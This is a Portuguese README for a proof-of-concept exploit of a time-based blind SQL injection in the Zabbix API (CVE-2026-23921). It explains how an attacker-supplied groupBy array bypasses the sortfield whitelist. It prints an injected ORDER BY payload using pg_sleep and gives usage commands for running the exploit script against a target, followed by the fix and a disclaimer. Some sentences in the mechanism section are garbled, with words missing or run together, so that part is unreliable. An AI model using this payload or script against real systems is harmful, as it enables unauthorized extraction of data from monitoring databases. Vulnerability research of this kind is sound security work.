
Proof-of-concept de exploit para CVE-2026-23921, uma injeção SQL cega baseada em tempo na API do Zabbix através do parâmetro sortfield, permitindo a extração de dados de backends PostgreSQL e MySQL.
Versões afetadas: Zabbix < 7.0.22 / < 7.2.15 / < 7.4.6
CVSS: Alto
Tipo: Injeção SQL cega baseada em tempo através do parâmetro sortfield
Autenticação necessária: Sim (qualquer usuário da API; Super Admin evita joins de permissão)
Os serviços legados da API do Zabbix (host.get, trigger.get, item.get, etc.) aceitam um parâmetro groupBy não declarado através de zbx_array_merge(). Em CApiService::applyQuerySortOptions(), o array groupBy substitui a whitelist codificada usada para validar . Um atacante passa o mesmo payload SQL tanto em quanto em — a validação passa contra a lista controlada pelo atacante, e o payload chega ao sem escape.
sortfieldgroupBysortfieldORDER BYgroupBy: ["hostid,(SELECT IF(...))--"] e sortfield: "hostid,(SELECT IF(...))--" com countOutput: truezbx_array_merge preserva a chave groupBy não declaradaapplyQuerySortOptions constrói a whitelist a partir de groupBy → a validação passaapplyQuerySortField concatena o payload no ORDER BYcreateSelectQueryFromParts constrói o SQL final sem escapeSELECT COUNT(*) AS rowscount
FROM hosts h
WHERE h.flags IN (0,4)
ORDER BY h.hostid,(SELECT CASE WHEN ascii(substring(version() FROM 1 FOR 1))>50
THEN pg_sleep(3) ELSE pg_sleep(0) END)--
# PostgreSQL backend (default)
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db pgsql
# MySQL backend
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db mysql
# Existing auth token
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--auth <token> --db pgsql
# Extract arbitrary expression
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db pgsql \
--expr "current_user"
# Use a different API method
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db mysql \
--method trigger.get --sort-col triggerid
Atualize para Zabbix 7.0.22 / 7.2.15 / 7.4.6 ou posterior.
O patch substitui array_merge($options['groupBy'], ...) por array_intersect($this->sortColumns, $options['groupBy']) para que valores fornecidos pelo atacante nunca entrem na whitelist. Verificações de tipo adicionais is_string() e is_array() foram adicionadas como defesa em profundidade.
Esta ferramenta é destinada apenas a testes de segurança autorizados e fins educacionais. Use-a somente contra sistemas que você possui ou para os quais tem permissão escrita explícita de testar.